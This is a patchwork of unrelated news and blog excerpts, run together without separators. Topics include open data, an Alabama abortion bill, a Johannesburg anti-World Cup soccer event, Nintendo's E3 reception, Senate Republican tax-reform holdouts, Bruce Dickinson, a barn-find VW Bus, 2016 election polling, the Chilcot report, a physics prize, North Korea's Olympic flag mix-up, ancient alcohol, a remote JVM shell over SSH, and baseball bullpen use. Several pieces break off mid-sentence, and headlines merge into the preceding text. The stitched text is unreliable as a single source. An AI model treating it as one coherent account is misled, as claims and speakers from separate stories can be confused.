What was exciting about developing the AquaHacking catalogue was that we didn’t know what people would actually do with the data, we just removed the roadblocks that were stopping them from using it. We afforded them the opportunity to work more efficiently, which, in turn, gave them more time to develop an amazing product.
And, these days, when people can interact more freely with data, they can interact better with the world.
Open data is exciting
So maybe it’s not that people are bored when you try to tell them about Open Data – maybe it’s just all too big and incomprehensible and that makes it difficult to understand. But what about when it’s easy to understand? What about when it’s accessible? What about when companies like ThinkData Works and Import.io remove the roadblocks, crush the grapes, and make data, for lack of a better word, sexy?
Well that, ultimately, might just be when people’s eyes stop glazing over!
This is a guest post from Lewis Jones of ThinkData WorksAlabama state Rep. Mary Sue McClurkin is pushing a new TRAP bill that could shut down all five of the state’s abortion clinics. According to her, the strict regulations are necessary because abortion is a major surgery. In fact, she claims:
“When a physician removes a child from a woman, that is the largest organ in a body. That’s a big thing. That’s a big surgery. You don’t have any other organs in your body that are bigger than that.”
A few questions for Rep. McClurkin:
1) Wait, is a fetus an organ or a person?
2) Almost 90 percent of abortions take place in the first trimester. At that point, the fetus is roughly the size of this fish. On what scale is that considered big?
3) A first-trimester surgical abortion takes about 10 minutes and usually doesn’t even require general anesthesia. Less than.5 percent of patients have serious complications. I have had a baby |
Facebook TwistedDoodles.
Have your say in the debate in the comments section, below?
*Originally published in 2015."Fuck 2010" - Soccer for the People, Not for Profit
Activists Reclaim Jozi Streets for Soccer
Half a dozen anarchists, including members of the Zabalaza Anarchist Communist Front, participated in a Reclaim the Streets inspired six-a-side soccer 'tournament' this Sunday 2nd August in Newtown, Johannesburg. They were invited to form an anarchist team by the organisers.
**All photos courtesy of Aragorn from CrimethInc Far South**
**All photos courtesy of Aragorn from CrimethInc Far South**
The soccer tournament was part of the Recess: Street Credit cultural event and art exhibition which coincided with the annual Khanya College Winter School. The tournament took place on Henry Nxumalo street in Newtown, under the M1 highway - just a few hundred meters away from the Johannesburg Central Police Station - when activists and soccer enthusiasts cordoned off the road with plastic tape and started playing.
According to a call to participate in the event, the tournament was "intended to disrupt the normal flow of traffic in the square, hijacking the street for creative and political intentions. The teams have been carefully selected, a minor representation of a larger socio-political body of organisations and collectives", intending to "bring together a variety of cultural and socio-political activists, for reasons of networking, political engagement and having fun".
Unfortunately not all of the eight teams invited to participate in the event turned up, but the Siyaphambili Youth Project and the Circled-A Team were present, together with two other teams. The whole atmosphere of the tournament was against the 2010 World Cup, which is seen by many as the sole preserve of the rich. The SYP team even had the letters to make up "FUCK 2010" painted on the back of their teams shirts.
The Circled-A team lost 5-3 to a team of youngsters, the fourth and fifth goals being scored in the last two minutes when the anarchist team was looking for the winner (and then equaliser). The Circled-A team could perhaps have done better but some of the Soweto-based anarchists expected to play on the team were unable to attend because they could not raise the necessary transport money in time.
There has been talk of turning this into the start of a social movements six-a-side league.Nintendo is usually a pretty feel-good company, but the largely negative reaction to the WiiU and its games at E3 seems to have them on edge. Nintendo of America president Reggie Fils-Aime is as good-natured as they come, but now even he seems to be getting a bit exasperated by gamers' attitudes toward his company, especially in the wake of E3.
Speaking to Kotaku, he had this to say about fan disappointment with what Nintendo showed at the event:
"One of the things that, on one hand, I love and, on the other hand, that troubles me tremendously about not only our fanbase but about the gaming community at large is that, whenever you share information, the perspective is, 'Thank you, but I want more.' 'Thank you, but give me more.' I mean, it is insatiable." He continued, "For years this community has been asking, 'Where's Pikmin?' 'Where's Pikmin?' 'Where's Pikmin?' We give them Pikmin. And then they say, 'What else?' "
It's fairly easy to see both sides of the picture here. Nintendo has many, many beloved franchises from Mario to Zelda to Donkey Kong to Pokemon to Kirby to Pikmin and more. Their problem is that Shigeru Miyamoto is instrumental in almost all of them, and it can be tough to make a new game in any series without his influence. The next project he really focused on was Pikmin, and though yes, gamers have been asking about a new Pikmin game for a while, when it's practically the only major title announced ahead of a new console release, it's a bit strange.
Nintendo simply doesn't have the creative manpower to keep up with demand for the titles their fans want. They have to devote all their energy into making one or two major titles a year with the help of their core creatives including Miyamoto. But when Pikmin and New Super Mario Bros. are the only games announced ahead of a new console, it doesn't seem like enough. And it isn't.
I know that gamers are known to complain about everything and anything, and I understand Reggie's frustration here, but that said, when attempting to get people excited about a new console, they have to realize that focusing on say, new WiiU Zelda and Pokemon games instead of Pikmin and New Super Mario Bros. would have been far more likely to get the kind of reaction they were looking for.
However, it's never smart to count Nintendo out because of fan reaction alone. Reggie notes that no one was particularly excited about the Wii Fit, yet that went on to sell 45 million copies. The counterargument to that might be no one was excited about Wii Music, and that went on to...well, we don't have to talk about that.
The problem is that Nintendo has too many franchises for its own good. Miyamoto and his closest creative compatriots do not have time to work on them all, and when they rely on outsourcing, we get games where Samus Aran is bawling her eyes out.
Gamers demand a lot from Nintendo because the company has the potential to make better games than anyone else in the industry. It's a lot of pressure, but at this point they need to prioritize which games will generate the most excitement, and use those as launch titles for the WiiU. But it might already be too late for that.There’s a growing faction inside the Senate Republican Conference, and it looks like bad news for Mitch McConnell and Donald Trump: The devil-may-care caucus.
Unbeholden to Republican orthodoxy and freed from the burdens of imminent reelection campaigns, more GOP senators are flexing their independence in the aftermath of the party’s failed effort to repeal Obamacare. Sen. Bob Corker of Tennessee is the latest addition to the ranks. Days after announcing he would not seek reelection in 2018, he threatened to buck Republicans on tax reform and stood by his earlier criticism of Trump as lacking the stability or competence to be president.
Story Continued Below
Corker joins longtime GOP contrarians John McCain, Lisa Murkowski, Susan Collins and Rand Paul in a group that’s willing to vote principle over party line, even if it means sinking some of the party’s cherished agenda items. Roy Moore might be next: The rabble-rousing conservative is favored to win an open Alabama Senate seat after being bombarded by millions of dollars in McConnell-sanctioned campaign ads.
McConnell struggled mightily — and unsuccessfully — to corral his narrow, 52-member majority to back a bill to repeal Obamacare. Now, the swelling number of Republican rebels could spell trouble for the party’s hopes of passing a major tax bill, and potentially imperil their majority.
In an interview, Corker acknowledged his freedom from facing reelection made it a “little easier” to take on his party. He’s declared he will oppose any tax plan that adds “one penny” to the deficit, which the GOP proposal is widely expected to do. Not only that, Corker told Politico, he’d “rail against” any such plan.
“People have lost their heads since the election,” Corker said of his party’s lurch from fiscal conservatism. “It’s a debate about the future. Are we folks who care about leaving this country better for future generations? Or are we all about ‘party-time’ here, to make ourselves beloved by people not having to pay taxes but throwing kids under the bus down the road?”
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Leaders are already chafing at the resistance forming to a cause that was supposed to unify the party after the wounds opened by health care. Asked to respond to Corker’s criticism, Senate Finance Chairman Orrin Hatch (R-Utah) wound up to lay into his colleague: “Anybody who says you can’t have any deficit, is not living …” he started, before catching himself.
“Let me put it this way, is acknowledging that it’s impossible to even get there unless you have” deficits, Hatch said.
Republicans are hoping budget scorekeepers will eventually mollify Corker by showing that cutting taxes will spur an economic boom. But the problem is much broader than one senator. At least five Republicans are seriously viewed by GOP leaders as potential “no” votes on tax reform. Only three of them could cost the Republicans a centerpiece of their agenda. And that’s before Moore potentially arrives in December and a bill has been written.
The issue for the GOP is that while the entire 52-member caucus is frustrated with inaction, there’s no one to unify them. Trump regularly strays from pushing his agenda to personal feuds. And both he and congressional leadership are broadly unpopular, emboldening individual members to go their own way.
Plus, McCain, Paul and Murkowski were just reelected, Corker is retiring, and Collins might run for governor.
“Although they like to assert their independence at times, the team’s got to produce results if we’re going to continue to keep our majority,” said Sen. John Thune of South Dakota, the No. 3 Senate Republican.
While the rest of the party swivels to tax reform, McCain is privately urging the GOP to commit to a budget deal that boosts military spending by December, according to two sources familiar with the matter. That could delay tax reform, which GOP leaders are hoping to cram through by the end of the year.
On substance, McCain could be a separate problem: He voted against the Bush tax cuts last decade because they disproportionately aided the wealthy. The nonpartisan Tax Policy Center concluded last week that the new GOP tax plan would have a similar impact, putting Republicans on defense before the battle’s even been joined.
“Is it accurate to say as some of these reports have said that this is about tax cuts for the top 1 percent? It’s not,” Sen. Rob Portman (R-Ohio) said.
Paul is complaining about analyses that show some taxes would go up under the GOP tax framework. The plan would slash corporate taxes from 35 percent to 20 percent, expand the standard deduction and cut taxes on unincorporated businesses. An aide said Paul is worried “that it won’t be a tax cut for a lot of people,” and GOP leaders are taking him seriously.
Yet satisfying him might require deeper tax cuts and more long-term debt, which would turn off Corker. Asked how to square the two, Senate Majority Whip John Cornyn deadpanned: “Piece of cake.”
Perhaps knowing that Murkowski will be a tough vote to get, Republican leaders offered the Alaska senator a sweetener: raising money by opening the Arctic National Wildlife Refuge to oil drilling. But Murkowski declined to say whether that move — which McCain and other senators would likely oppose — would do the trick. “I’m not in a situation where I’m saying, ‘OK, if you don’t include this, I’m not going to be there’” on tax reform, she said.
Collins has been especially critical of the GOP’s reliance on the party-line “reconciliation” tool to jam through legislation, the same reason she cited in opposing Obamacare repeal proposals.
“I would very much like for us to try to produce a bipartisan tax bill,” she said.
Republican leaders are already privately fretting that her vote, as well as McCain’s and Paul’s, are going to be difficult to get. They are slightly more confident about Murkowski and hope to finish tax reform before Moore arrives.
But Corker is a real wild card. Though he’s open to the possibility that tax cuts would create enough growth to offset deficits, he suggested there are limits to that argument.
“I’m now nervous about where this goes,” Corker said. “I hope that in the end if it’s a big deficit creator, then our caucus will not support it.”Iron Maiden vocalist Bruce Dickinson isn't known for being a violent man. In fact, he's one of the most down-to-earth and polite people you'd ever hope to meet. However, this didn't stop Iron Maiden's "air raid siren" from wishing he had punched out Axl Rose back in 1988.
On May 16, 1988, Guns N' Roses opened for Iron Maiden at the Coliseum in Quebec City, Canada. According to a recent interview Dickinson had with the Journal De Montreal, GN'R frontman Axl Rose treated the audience poorly that night. Why? Because the crowd was speaking to Axl in French, which tends to happen in French Canada.
Bruce Dickinson didn't take kindly to Axl's apparent disrespect to Maiden's audience, tempting the Maiden legend to give Axl a clobbering. “I should have come onstage and given him a punch," Dickinson said. "How could he dare speak to my audience in that way? I always regretted not having done so. ”
Bruce also spoke of the moment he learned his battle against tongue and throat cancer had been successful. “A huge relief, I was unable to speak. I did not know what to do. Should I scream my joy? It was the biggest news I had ever received in my life … Right now, I’m at the stage of healing, so I have not sung except sometimes at home. Fortunately, the power is still there. Notes too. We will rehearse intensively in January."
Iron Maiden's 16th studio album, The Book of Souls, is now available so be sure to grab yourself a copy here.
See the Yearbook Photos of Bruce Dickinson + Other Rock StarsThe seller of a tree-trapped 1963 VW Bus is listing it for his father, who seems to live in rural Texas and hasn’t driven this split-windshield Kombi in many years. Though limited on the details and unable to take new pictures on the fly (as he lives several hours from his dad’s place), the listing is fairly straightforward about what you’re getting yourself into. Find the aging VW Bus here on eBay where bidding is up to $3,750 with no reserve.
The seller notes he has no way of confirming whether the engine is still with the Bus, as there is too much debris in front of the engine cover for inspection. In addition, it sounds as if he is not returning to his father’s property for more pictures, so the presence of an engine will be a mystery for the next owner to solve. Frankly, so many of these things had their engines swapped out over time that even if an engine is present, it’s not likely numbers matching. No word on the transmission or its health.
The van was purchased new by the seller’s father in 1963 and was then parked – permanently – just four years later. The seller suspects mechanical woes sidelined the Bus as there are no obvious signs of accident damage. Still, rust is prevalent, including in the roof trim and in the front quarters, but it is far from the rustiest Bus we’ve seen rescued and restored. The rear seat frames and springs are included, but it’s hard to spot them with piles of wood chips on the inside. It sounds like the current owner uses the Bus as a storage shed, which is surely made easier with those handy barn doors.
Since we haven’t even seen the floors (and no one will before the auction’s end, it sounds like), there is definitely a calculated risk involved if you’re pondering a Bus rescue. But the early examples do tend to be worth a bit more, and the presence of barn doors and a relatively complete shell will make this one a compelling project for the DIYer bodyman. Just be prepared to do some digging and unloading before strapping this Bus to a trailer, or maybe hire the helicopter crew that pulled an early Bus out of a marshy bog!Most Americans can't stand the frontrunner of either major political party, a new NBC News/Survey Monkey poll released Tuesday has found.
Almost 60 percent of respondents said they "dislike" or "hate" Democratic presidential frontrunner Hillary Clinton, and 63 percent said the same about Republican nominee Donald Trump.
In fact, the poll found that the roughly one-third of respondents on either side of the political aisle were voting for their candidate solely to defeat the other nominee.
Such findings bolster Sanders' recent arguments that if the Democratic Party truly wishes to defeat Trump in November, the party's superdelegates should choose Sanders to be the nominee. According to all recent polling, Sanders is a far stronger candidate than Clinton against Trump—a phenomenon political observers are finding harder and harder to ignore.
Indeed, even as a national polling average shows Trump besting Clinton for the first time this week, Sanders has maintained a significant lead against the real estate mogul.
The NBC News/Survey Monkey poll follows the trend, showing Clinton beating Trump by a slim four-point margin, while Sanders wins against Trump by a full 12 points:
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As Sanders said in a CNN interview on Sunday, "Virtually every poll taken in the last two months has me doing better against Trump than Hillary Clinton."
We all agree that Donald Trump would be a disaster for this country. He must be defeated, and I am the strongest candidate to do that. — Bernie Sanders (@BernieSanders) May 21, 2016
Sanders' dominance in the polls is "getting harder to overlook," notes Politico, outlining the trouble facing Clinton if she goes up against Trump in the general election:
The data remain unequivocal[...] The latest averages from HuffPost Pollster give Clinton a just less-than-2-point advantage over Trump, while Sanders—who is virtually certain to finish well behind Clinton in pledged delegates—leads Trump by 10 points. Trump has narrowed Clinton's lead by 5 points since the end of April, while he’s only chipped 2 points off Sanders’ edge. Moreover, there's evidence that Clinton will face challenges uniting Democrats the way Trump has brought Republicans together since eliminating his opponents. Sanders’ backers appear increasingly hostile to Clinton, polls show—especially those voters who currently favor Sanders over Trump but say they would defect to the Republican if Clinton is the Democratic nominee. The debate isn't just academic. Part of Sanders' last-ditch argument to the unpledged superdelegates he'd need to win over to have any hope of winning the Democratic nomination is that they should consider which candidate would run best against Trump before making their choice.
"The ballot test isn’t the only survey data point pointing to Sanders' strong position," notes Politico, "and the shortcomings of both Trump and Clinton. According to HuffPost Pollster, Sanders’ average image rating stands at 50 percent favorable and 41 percent unfavorable. That’s far better than the historically poor ratings for Trump (39 percent favorable/57 percent unfavorable) and Clinton (41 percent favorable/55 percent unfavorable)."
While Clinton and other prominent Dems argue that Clinton will be able to bring Sanders supporters into the Democratic Party fold once she clinches the nomination, "the data suggest it will be difficult for Clinton to win them over," Politico writes.Image caption In a 2002 memo, Mr Blair suggested he would be with the US president "whatever"
The US pushed the UK into military action in Iraq "too early", a former British ambassador to the UN has said in the wake of the Chilcot report.
The long-awaited report said ex-Prime Minister Tony Blair had overstated the threat posed by Saddam Hussein - and military action was not a last resort.
Sir Jeremy Greenstock, UK ambassador to the UN in 2003, said Mr Blair had wanted a UN resolution backing action.
But he told the BBC senior US officials thought it was a "waste of time".
The Chilcot report was published on Wednesday having taken seven years to compile.
Sir John Chilcot - chairman of the UK's Iraq War inquiry - concluded Mr Blair had sent ill-prepared troops into battle and had "wholly inadequate" plans for the aftermath.
'No imminent threat'
The 2003 invasion had not been the "last resort" action presented to MPs and the public, Sir John said, adding that there had been no "imminent threat" from Saddam Hussein, and the intelligence case was "not justified".
Sir Jeremy said he felt Mr Blair had wanted to wait longer before taking military action.
It would have been "much safer" to give weapons inspectors in Iraq another six months to continue their work, he added.
"I felt that at the time, the British felt it at the time, I think the prime minister felt it at the time, that the Americans pushed us into going into military action too early," he told BBC Radio 4's The World Tonight.
Mr Blair had wanted to secure a UN resolution before the conflict but US officials were not committed to a resolution, he added.
"The Americans weren't genuine about it - but the prime minister was genuine about it - because he thought there was a chance that Saddam could be made to back down before we had to use military force.
"And George Bush for a while agreed with him. But other people behind George Bush didn't agree with him and thought it was a waste of time."
Media playback is unsupported on your device Media caption Sir John Chilcot: "The UK chose to join the invasion of Iraq before peaceful options for disarmament had been exhausted"
General Tim Cross - the most senior British officer involved in planning the war - said former US Defence Secretary Donald Rumsfeld would not listen either to the UN or the UK about the aftermath of the invasion.
He said the US had dismantled the Iraqi army and the ruling Ba'ath party without consultation.
The US administrator to Iraq at the time, Paul Bremer, told the BBC's Newsnight that British officials had been thoroughly briefed on the strategy for dealing with the Ba'ath party.
"That particular decision was approved by the president of the United States, the secretary of defence, by the joint chiefs of staff of the United States.
"It was previously discussed by my national security adviser with authorities in London 10 days before it was issued - he received no objections," he added.
Media playback is unsupported on your device Media caption Tony Blair expressed sorrow, regret and apology
The US State Department said it would not respond to the Chilcot report's findings as it was focusing on present issues in the Middle East.
"We are not going to examine it, we are not going to try to make an analysis of it or make judgement of the findings one way or another," a spokesman said.
"Our focus is on the challenges we have in Iraq and Syria right now."
Following the publication of the report, Mr Blair said he took responsibility for "mistakes in planning and process" identified by the inquiry.
He said he felt "more sorrow, regret and apology than you may ever know" for the grief of those whose loved ones died.
But he insisted he could look the families in the eye - and the nation - and state that he did not mislead anyone over the invasion, the service personnel did not die in vain, and he was right to do what he did.
A spokesman for some of the families of the 179 British service personnel and civilians killed in Iraq between 2003 and 2009 said their loved ones had died "unnecessarily and without just cause and purpose".
He said all options were being considered, including asking those responsible for the failures identified in the report to "answer for their actions in the courts if such process is found to be viable".
'Act of aggression'
Prime Minister David Cameron, who voted for war in 2003, told MPs it was important to "really learn the lessons for the future" and to improve the workings of government and how it treats legal advice.
Labour leader Jeremy Corbyn - who voted against military action - said the report proved the Iraq War had been an "act of military aggression launched on a false pretext", something he said which has "long been regarded as illegal by the overwhelming weight of international opinion".Mr. Milner said that he wanted to recognize advances in delving into the deepest mysteries of physics and the universe. “This intellectual quest to understand the universe really defines us as human beings,” he said.
Four of the physicists work at the Institute for Advanced Study in Princeton, N.J.: Nima Arkani-Hamed, Juan Maldacena, Nathan Seiberg and Edward Witten. They work on theories trying to tie together the basic particles and forces of the universe, particularly with a mathematical machinery known as string theory.
The other winners are Andrei Linde, a physicist at Stanford who also worked on cosmic inflation; Alexei Kitaev, a professor of physics at the California Institute of Technology who works on quantum computers; Maxim Kontsevich, a mathematician at the Institute of Advanced Scientific Studies outside Paris whose abstract mathematical findings proved useful to physicists unraveling string theory; and Ashoke Sen, a string theorist at Harish-Chandra Research Institute in India.
Photo
Mr. Milner personally selected the inaugural group, but future recipients of the Fundamental Physics Prize, to be awarded annually, will be decided by previous winners.
He declined to explain in detail how he selected which accomplishments to honor or why all of the winners are men. “I truly see this as a start,” Mr. Milner said. “Going forward, it’s going to be up to the committee to make those considerations.”
According to the rules, the prize in future years may be split among multiple winners, and a researcher will be able to win more than once. Mr. Milner also announced that there would be a $100,000 prize to honor promising young researchers.
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Unlike the Nobel in physics, the Fundamental Physics Prize can be awarded to scientists whose ideas have not yet been verified by experiments, which often occurs decades later. Sometimes a radical new idea “really deserves recognition right away because it expands our understanding of at least what is possible,” Mr. Milner said.
Dr. Arkani-Hamed, for example, has worked on theories about the origin of the Higgs boson, the particle thought to have been discovered recently at the Large Hadron Collider in Switzerland, and about how that collider could discover new dimensions. None of his theories have been proved yet. He said several were “under strain” because of the new data.
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Several of the winners said they hoped that the new prize, with its large cash award, would help raise recognition of physics and draw more students into the field. “It’ll be great to have this sort of showcase for what’s going on in the subject every year,” Dr. Arkani-Hamed said.
The winners said they had not yet decided what to do with their windfall.
“There are some rather mundane things, like paying out the mortgage,” said Mr. Kitaev, who added that he was thinking about putting some of the money into education efforts.
“My success is in large part due to good education, my teachers and the atmosphere of excitement in science when I grew up,” he said. “I might try to help restore this atmosphere as much as I can.”
Dr. Guth agreed. “I do think prizes like this help put across to the public that fundamental physics is important, and it’s not just heavyweight boxing that’s worthy of prizes,” he said.
But he was going to warn his students not to get the wrong idea. “Certainly, it’s still not a great idea to go into physics for the money,” he said.Today, Dimension Films and Trancas International Films announced Halloween Returns, following a morning of speculation spurred on by Movieholes exclusive report of its plot. Though the official announcement kept story under wraps, the site reported Halloween Returns as the tale of an 18 year-old child of a cop, whose parent is obsessed with the Myers case. As Myers is set to be executed, the shape escapes and stalks once again. Who is this cop, and what connection to the series does he bear?
Minor
Spoilers
Shock has learned Halloween IIs Deputy Gary Huntwho you may remember from the 1981 sequel as the blonde officer who accompanies Dr. Loomis to the school on the night he came homeappears in Halloween Returns, now as sheriff. This leaves Halloween Returns connected to the original series, unrelated to Rob Zombies films andin contemporary fashionnot concerned with later sequels.
Production on Halloween Returns is set to get underway this July. Marcus Dunstan & Patrick Melton penned the film. Dunstan directs.Conservative group ForAmerica on Wednesday launched an ad targeting Senate Minority Leader Mitch McConnell (R-KY) over the deal he brokered to avert the fiscal cliff.
The ad, according to a release, will run in Kentucky and on sites like The Drudge Report, foxnews.com and The Daily Caller.
ForAmerica Chairman Brent Bozell, also the president and founder of the conservative Media Research Center, said in a statement:
“Senator McConnell often talks a tough game and sells himself as a conservative, but his actions speak louder than his words. His role as President Obama’s bag man in the latest fiscal cliff disaster clearly demonstrates that Senator McConnell is more interested in the art of the bad deal rather than standing up and fighting for conservative principles. It is time for conservatives to stand up to politicians in both parties who talk conservative but govern as liberals.”Image caption North Korea's team returned to the field about an hour after the mistake was pointed out
Olympic organisers have apologised to North Korean athletes whose images were shown next to the South Korean flag.
The mix-up delayed the women's football match, at Glasgow's Hampden Park on the first day of sporting action.
The men's football gets under way later, with matches including Britain v Senegal at 20:00 BST (19:00 GMT).
Speaking to BBC News, Prime Minister David Cameron highlighted benefits of the Games, and said: "The real legacy is the inspiration to young people."
He added: "People are going to be coming to our country over the next few weeks and seeing a really inspiring sight.
"That's about a people's Olympics, not a government Olympics."
In other news:
'Very upset'
Media playback is unsupported on your device Media caption Flag error offends North Koreans
The BBC's sports editor David Bond said the flag mix-up at Hampden Park had been an "embarrassing mistake" and not the start Games organisers would have wanted, but "no great harm was done".
As the North Korean players were being introduced before the match against Colombia, South Korean flags were mistakenly displayed in the video package.
The squad walked off and could only be persuaded to return when the teams were announced again with each player's face displayed next to the North Korean flag, delaying kick-off by about an hour.
Relations between the two Koreas are tense - they remain technically at war following the 1950-53 Korean conflict, which ended in an armistice.
Speaking after the match, North Korea's coach Sin Ui Gun said: "Our team was not going to participate unless the problem was solved properly...
Image caption The error saw North Korea's flag (top) replaced by the South Korean flag (bottom)
"Unfortunately it took some time later for the broadcast to be done again properly and we made the decision to go on with the match."
It was not immediately clear who had produced the video shown in the stadium.
London 2012 spokesman Andy Mitchell said: "The South Korean flag was shown in the video package on the screen before the kick-off and the North Koreans were naturally very upset about that...
"A genuine mistake was made for which we apologise."
BBC Scotland football reporter Alasdair Lamont said that during the delay to the game the crowd had become frustrated at a lack of information.
"I don't think there was any reason given the entire time before the kick-off eventually took place as to why there had been a hold-up," he said.
"They were simply given a couple of messages saying there was 'an issue behind the scenes, we're doing our best to resolve it', and that was basically it."
One spectator, Paul, told BBC Radio 5 live: "An announcement was made that there was a technical problem behind the scenes, and even then when the players came back on, they came back on for a second warm-up, and quite a large portion of the crowd started booing."
Media playback is unsupported on your device Media caption Paul Deighton: It was a simple human error, that's why we've apologised
North Korea's state news agency KCNA made no mention of the blunder in its report on Thursday of the team's 2-0 victory over Colombia.
North Korea will face South Korea in the first round of the men's Olympic table tennis team event after the pair were drawn against each other on Wednesday.
'Value for money'
In an interview on BBC Breakfast, asked about benefits to the wider UK from the London 2012 Games, Mr Cameron said: "I think we will get value for money as a country."
He said that the Games were expected to come in under their £9bn budget, while there were predicted to be "£13bn in economic benefits from the deals that are going to be done, the extra spending, the extra tourism and all the rest of it".
The nation would enjoy the physical infrastructure left by the Games, he said, giving the example of the aquatics centre's expected 800,000 visitors a year.
"But the real legacy is the inspiration to young people who will want to take up sport, who will be inspired by the competitive ethos of the Olympics, who will see Britain at its best," the prime minister said.
The opening match in the men's football gets under way at 12:00 BST at Hampden Park when Honduras take on Morocco, followed by Spain v Japan.
Matches are also taking place at St James' Park in Newcastle, Cardiff's Millennium Stadium and the City of Coventry Stadium.It turns out the fall of man probably didn't begin with an apple. More likely, it was a handful of mushy figs that first led humankind astray.
Here is how the story likely began -- a prehistoric human picked up some dropped fruit from the ground and popped it unsuspectingly into his or her mouth. The first effect was nothing more than an agreeably bittersweet flavor spreading across the palate. But as alcohol entered the bloodstream, the brain started sending out a new message -- whatever that was, I want more of it!
Humankind's first encounters with alcohol in the form of fermented fruit probably occurred in just such an accidental fashion. But once they were familiar with the effect, archaeologist Patrick McGovern believes, humans stopped at nothing in their pursuit of frequent intoxication.
A secure supply of alcohol appears to have been part of the human community's basic requirements much earlier than was long believed. As early as around 9,000 years ago, long before the invention of the wheel, inhabitants of the Neolithic village Jiahu in China were brewing a type of mead with an alcohol content of 10 percent, McGovern discovered recently.
McGovern analyzed clay shards found during excavations in China's Yellow River Valley at his Biomolecular Archaeology Laboratory for Cuisine, Fermented Beverages, and Health at the University of Pennsylvania Museum.
The bearded archaeologist is recognized around the world as an expert when it comes to identifying traces of alcoholic drinks on prehistoric finds. He ran so-called liquid chromatography coupled with mass spectrometry on the clay remnants from Asia and found traces of tartaric acid -- one of the main acids present in wine -- and beeswax in the shards' pores. It appears that prehistoric humans in China combined fruit and honey into an intoxicating brew.
Clever Survival Strategy
Additionally, plant sterols point to wild rice as an ingredient. Lacking any knowledge of chemistry, prehistoric humans eager for the intoxicating effects of alcohol apparently mixed clumps of rice with saliva in their mouths to break down the starches in the grain and convert them into malt sugar.
These pioneering brewers would then spit the chewed up rice into their brew. Husks and yeasty foam floated on top of the liquid, so they used long straws to drink from narrow necked jugs. Alcohol is still consumed this way in some regions of China.
McGovern sees this early fermentation process as a clever survival strategy. "Consuming high energy sugar and alcohol was a fabulous solution for surviving in a hostile environment with few natural resources," he explains.
The most recent finds from China are consistent with McGovern's chain of evidence, which suggests that the craft of making alcohol spread rapidly to various locations around the world during the Neolithic period. Shamans and village alchemists mixed fruit, herbs, spices, and grains together in pots until they formed a drinkable concoction.
But that wasn't enough for McGovern. He carried the theory much further, aiming at a complete reinterpretation of humanity's history. His bold thesis, which he lays out in his book "Uncorking the Past. The Quest for Wine, Beer and Other Alcoholic Beverage," states that agriculture -- and with it the entire Neolithic Revolution, which began about 11,000 years ago -- are ultimately results of the irrepressible impulse toward drinking and intoxication.
"Available evidence suggests that our ancestors in Asia, Mexico, and Africa cultivated wheat, rice, corn, barley, and millet primarily for the purpose of producing alcoholic beverages," McGovern explains. While they were at it, he believes, drink-loving early civilizations managed to ensure their basic survival.
A Hybrid Swill
Archaeologists have long pondered the question of which came first, bread or beer. McGovern surmises that these prehistoric humans didn't initially have the ability to master the very complicated process of brewing beer. However, they were even more incapable of baking bread, for which wild grains are extremely unsuitable. They would have had first to separate the tiny grains from the chaff, with a yield hardly worth the great effort. If anything, the earliest bakers probably made nothing more than a barely palatable type of rough bread, containing the unwanted addition of the grain's many husks.
It's likely, therefore, that early farmers first enriched their diet with a hybrid swill -- half fruit wine and half mead -- that was actually quite nutritious. Neolithic drinkers were devoted to this precious liquid. At the excavation site of Hajji Firuz Tepe in the Zagros Mountains of northwestern Iran, McGovern discovered prehistoric wine racks used to store airtight carafes. Inhabitants of the village seasoned their alcohol with resin from Atlantic Pistachio trees. This ingredient was said to have healing properties, for example for infections, and was used as an early antibiotic.
The village's Neolithic |
together. Migrating from one language to another is easy, so you’ll immediately want to fire up your Java interpreter and mess with all of the things in your new Java app.
Unfortunately for you, Me-from-the-past is going to tell you “No dice.” Java doesn’t come with an interactive mode out-of-the-box. The closest that you could come to a REPL in Java was using the Java Management Extensions (JMX) to examine registered resources. After you register a few Beans, you’ll hopefully be able to run something like JConsole to look at your application’s guts. If you did everything right, you’ll probably see some objects that you can look at… and you’ll immediately begin thinking that maybe you should migrate back, if only to get your REPL back.
Fortunately for you, Me-from-right-now is here to tell you that our own brilliant Marshall Pierce has felt your pain and has leveraged the arcane magics of Groovy and SSH to provide you with a mega-hammer that he assumes you are not going to use to hit yourself in the face: a interactive prompt for your JVMs, both local and remote! A local REPL for exploring your app in dev mode is great, but a remote REPL for poking around in your live app is even better. (Where by better, I mean dangerous and awesome.)
“Wh—…H—…How did he do that?” you might ask, ever so eloquently. Basically, you’ll embed a tiny SSH server that exposes a Groovy shell that can execute arbitrary code inside a running JVM. Marshall has helpfully provided a small demo app that shows exactly what this looks like. Seriously, go run the example project. When you do and you realize how you have now become the master of time and space, you won’t have anything to say except, “That was easy.”
Hopefully, you skipped right over that part about executing arbitrary code in your JVM, because that sounds terrifying. But, if that made you a little queasy, you can rest easy knowing that your precious JVM is safe and sound. With only a few more characters, you can tell your app where to find a set of public keys (RSA or DSA) that it can use to authenticate SSH requests. Now, when you run your Groovy shell, you just have to specify the location of your private key file, and you’ll automatically get the secure handshake that feels ever-so-good.
If you’re looking for more detail, you should check out the project’s public GitHub page, where you will find helpful instructions on how you can start poking around where James Gosling never intended for you to be…Baseball, more than any other sport, is at a crossroads between the old, traditionalist ideas and the new, analytic-driven ideas. One area where this crossroads is prominent relates to the proper way to utilize a closer.
The traditional view is that closers should be held in the bullpen until the ninth inning or when a save opportunity presents itself. Those who question this view cite that the last three outs of a game are often not the most important outs, and that the closer role should be much more flexible as far as their availability during the course of a game.
By definition, the closer is (or should be) the best relief pitcher in the bullpen. If it’s the seventh inning, and it’s a tie or one-run game, and the opposing team is bringing up the top of the line-up, and/or the reliever that’s in the game gave up some combination of walks/hits resulting in runners on base, isn’t that a situation where the guy with the best ability to get hitters out be called upon? If the “closer” gets out of it, he did his job, and other relievers should be able to be relied upon to navigate the bottom of the line-up for the last six outs. If a manager falls too far into the closer-only-in-the-ninth wormhole, that’s making the mistake of oversimplifying it; it’s making the last three outs the most important outs, only because they’re the last three, not because it’s the inning his team faced the greatest danger of losing.
Nationals manager Matt Williams appears to be at the forefront of the mindset that relief pitchers must have a defined role (i.e. they must be a “7th inning guy,” “8th inning guy,” or “closer”). But, as described above, taking a hard line on these roles would be to routinely place the 6th, 7th, and 8th inning relievers in high-pressure situations and more often than not, placing the closer in a low-pressure situation, with no runners on base when entering the game. If the closer is the best reliever on a team, it makes the most sense to use him in the highest of pressure situations. Recently, Williams’ win-starved Nationals have lost several close games, giving up the eventual game-deciding runs in innings six through eight, while their best reliever/closer (Jonathan Papelbon) sat and watched because Williams has taken a hard line on only using his closer in save situations.
